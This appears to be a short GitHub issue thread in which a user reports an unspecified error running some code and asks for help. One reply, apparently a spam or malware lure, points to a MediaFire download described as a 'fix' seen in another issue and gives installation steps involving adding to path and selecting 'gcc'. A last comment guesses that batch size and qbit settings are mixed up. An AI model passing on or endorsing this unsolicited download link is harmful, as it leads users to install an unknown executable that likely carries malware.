when I run your code, I got this error:

How can I deal with it?

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of

when you installing, you need to place a check in install to path and select "gcc."

I think the batch size and qbit is confused.
